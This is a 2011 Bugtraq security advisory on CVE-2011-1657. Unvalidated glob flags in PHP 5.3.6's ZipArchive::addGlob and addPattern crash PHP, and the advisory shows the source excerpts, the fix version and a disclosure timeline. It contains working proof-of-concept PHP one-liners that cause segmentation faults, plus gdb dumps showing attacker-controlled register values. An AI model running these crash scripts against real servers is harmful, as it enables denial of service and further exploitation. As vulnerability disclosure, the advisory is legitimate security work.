Bugtraq mailing list archives

PHP 5.3.6 ZipArchive invalid use glob(3)


From: cxib () securityreason com
Date: Fri, 19 Aug 2011 05:08:47 GMT

[ PHP 5.3.6 ZipArchive invalid use glob(3) ]

Author: Maksymilian Arciemowicz
http://securityreason.com/
http://securityreason.net/
http://cxib.net/
Date:
- Dis.: 01.04.2011
- Pub.: 19.08.2011

CVE: CVE-2011-1657

Affected Software (verified):
PHP 5.3.6 and prior

Fixed:
PHP 5.3.7

Original URL:
http://securityreason.com/achievement_securityalert/100


--- 0.Description ---
PHP is a general-purpose scripting language originally designed for web development to produce dynamic web pages. For 
this purpose, PHP code is embedded into the HTML source document and interpreted by a web server with a PHP processor 
module, which generates the web page document. It also has evolved to include a command-line interface capability and 
can be used in standalone graphical applications.

ZipArchive
This extension enables you to transparently read or write ZIP compressed archives and the files inside them. 


--- 1. PHP 5.3.6 ZipArchive invalid use glob(3) ---
Functions like addGlob and addPattern are not described in documentation. Anyway we can call to ZipArchive::addGlob and 
ZipArchive::addPattern in PHP 5.3.6

http://pl2.php.net/manual/en/class.ziparchive.php

let's see ext/zip/php_zip.c

531     if (0 != (ret = glob(pattern, flags & GLOB_FLAGMASK, NULL, &globbuf))) {
..
1629    /* 1 == glob, 2==pcre */
1630    if (type == 1) {
1631    if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s|la",
1632    &pattern, &pattern_len, &flags, &options) == FAILURE) {
1633    return;
1634    }
1635    } else {
1636    if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s|sa",
1637    &pattern, &pattern_len, &path, &path_len, &options) == FAILURE) {
1638    return;
1639    }
1640    }
1641    

invalid &flags may provide to crash. To use flags like GLOB_ALTDIRFUNC, we should first declare gl_opendir, 
gl_closedir, gl_lstat, gl_stat. In PHP we only have

508     glob_t globbuf;
..
530     globbuf.gl_offs = 0;
531     if (0 != (ret = glob(pattern, flags & GLOB_FLAGMASK, NULL, &globbuf))) {

for addglob() there are no GLOB flags validation like in php/glob(). Only flags like 
GLOB_MARK|GLOB_NOSORT|GLOB_NOCHECK|GLOB_NOESCAPE|GLOB_BRACE|GLOB_ONLYDIR|GLOB_ERR should be allowed:

- GLOB_MARK - Adds a slash to each directory returned
- GLOB_NOSORT - Return files as they appear in the directory (no sorting)
- GLOB_NOCHECK - Return the search pattern if no files matching it were found
- GLOB_NOESCAPE - Backslashes do not quote metacharacters
- GLOB_BRACE - Expands {a,b,c} to match 'a', 'b', or 'c'
- GLOB_ONLYDIR - Return only directory entries which match the pattern
- GLOB_ERR - Stop on read errors (like unreadable directories), by default errors are ignored.

---linux/ubuntu---
cx@cx64:~$ php -v
PHP 5.3.3-1ubuntu9.3 with Suhosin-Patch (cli) (built: Jan 12 2011 16:07:38) 
Copyright (c) 1997-2009 The PHP Group
Zend Engine v2.3.0, Copyright (c) 1998-2010 Zend Technologies
cx@cx64:~$ uname -a
Linux cx64 2.6.35-28-generic #49-Ubuntu SMP Tue Mar 1 14:39:03 UTC 2011 x86_64 GNU/Linux
cx@cx64:/www$ cat zip.php
<?php                                                                           
unlink("empty.zip");                                                            
fopen("empty.zip","a");                                                         
$nx=new ZipArchive();$nx->open("empty.zip");$nx->addGlob(str_repeat("*",333333),0x39);
?>cx@cx64:/www$ php zip.php
Segmentation fault
---linux/ubuntu---


Tested with NetBSD glob(3) implementation (netbsd 5.1 and PHP 5.3.6)


---bsd/netbsd---
unlink("empty.zip"); fopen("empty.zip","a"); $nx=new 
ZipArchive();$nx->open("empty.zip");$nx->addGlob(str_repeat("A",1000000),0x39);

Program received signal SIGSEGV, Segmentation fault.
0xbb86bb12 in realloc () from /usr/lib/libc.so.12
(gdb) i r
eax            0x410041 4259905
ecx            0xc      12
edx            0xbfb00000       -1078984704
ebx            0xbb8c81f4       -1148419596
esp            0xbfbfa980       0xbfbfa980
ebp            0xbfbfa9d8       0xbfbfa9d8
esi            0xfc000  1032192
edi            0x0      0
eip            0xbb86bb12       0xbb86bb12 <realloc+118>
(gdb) x/i $eip
0xbb86bb12 <realloc+118>:       mov    0x8(%eax),%edi
(gdb) x/i $eax
0x410041:       Cannot access memory at address 0x410041
---bsd/netbsd---

and now try 'B'

---bsd/netbsd---
unlink("empty.zip");
fopen("empty.zip","a");
$nx=new
ZipArchive();$nx->open("empty.zip");$nx->addGlob(str_repeat("B",1000000),0x39);
(gdb) x/i $eip
0xbb86bb12 <realloc+118>:       mov    0x8(%eax),%edi
(gdb) x/i $eax
0x420042:       Cannot access memory at address 0x420042
---bsd/netbsd---

A we get mov    0x8(%eax),%edi where eax=0x410041
B we get mov    0x8(%eax),%edi where eax=0x420042

and once again for eax=0x0


---bsd/netbsd---
$nx=new ZipArchive();$nx->open("empty.zip");$nx->addGlob("aa",0x39);

Program received signal SIGSEGV, Segmentation fault.
0xbb8e2960 in pthread_mutex_lock () from /usr/lib/libpthread.so.0
(gdb) bt
#0  0xbb8e2960 in pthread_mutex_lock () from /usr/lib/libpthread.so.0
#1  0xbb86a43a in _malloc_prefork () from /usr/lib/libc.so.12
#2  0xbb86bb9c in realloc () from /usr/lib/libc.so.12
#3  0xbb83610b in __globfree30 () from /usr/lib/libc.so.12
#4  0xbb836cb7 in __globfree30 () from /usr/lib/libc.so.12
#5  0xbb8372d9 in __glob30 () from /usr/lib/libc.so.12
#6  0x083b1fe3 in php_XML_ParserFree ()
#7  0x083b45b7 in php_XML_ParserFree ()
#8  0x083b485f in php_XML_ParserFree ()
#9  0x0846f4b6 in execute ()
#10 0x084703c8 in execute ()
#11 0x0846e42d in execute ()
#12 0x08442b5a in zend_execute_scripts ()
#13 0x083c776b in php_execute_script ()
#14 0x08515c23 in zend_get_zval_ptr_ptr ()
#15 0x08067eb4 in ___start ()
#16 0x08067e17 in _start ()
---bsd/netbsd---

to get other crash point, change 0x39 to 0x40 or use addPattern() with special crafted zip files.

---addPattern()---
$nx=new
ZipArchive();$nx->open("empty.zip");$nx->addPattern(str_repeat("A",1));
0x083b21c4 in php_XML_ParserFree ()
---addPattern()---


--- 2. Fix ---
PHP 5.3.7
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/zip/php_zip.c?view=log

PR/44959: Henning Petersen: glob forgets to closedir on out of space condition.
http://cvsweb.netbsd.org/bsdweb.cgi/src/lib/libc/gen/glob.c.diff?r1=1.29&r2=1.30&only_with_tag=MAIN&f=h


--- 3. Greets ---
Felipe

sp3x infospec


--- 4. Contact ---
Author: Maksymilian Arciemowicz

Email:
- cxib {a\./t] securityreason [d=t} com

GPG:
- http://securityreason.com/key/Arciemowicz.Maksymilian.gpg

http://securityreason.com/
http://securityreason.net/
http://cxib.net/


Current thread: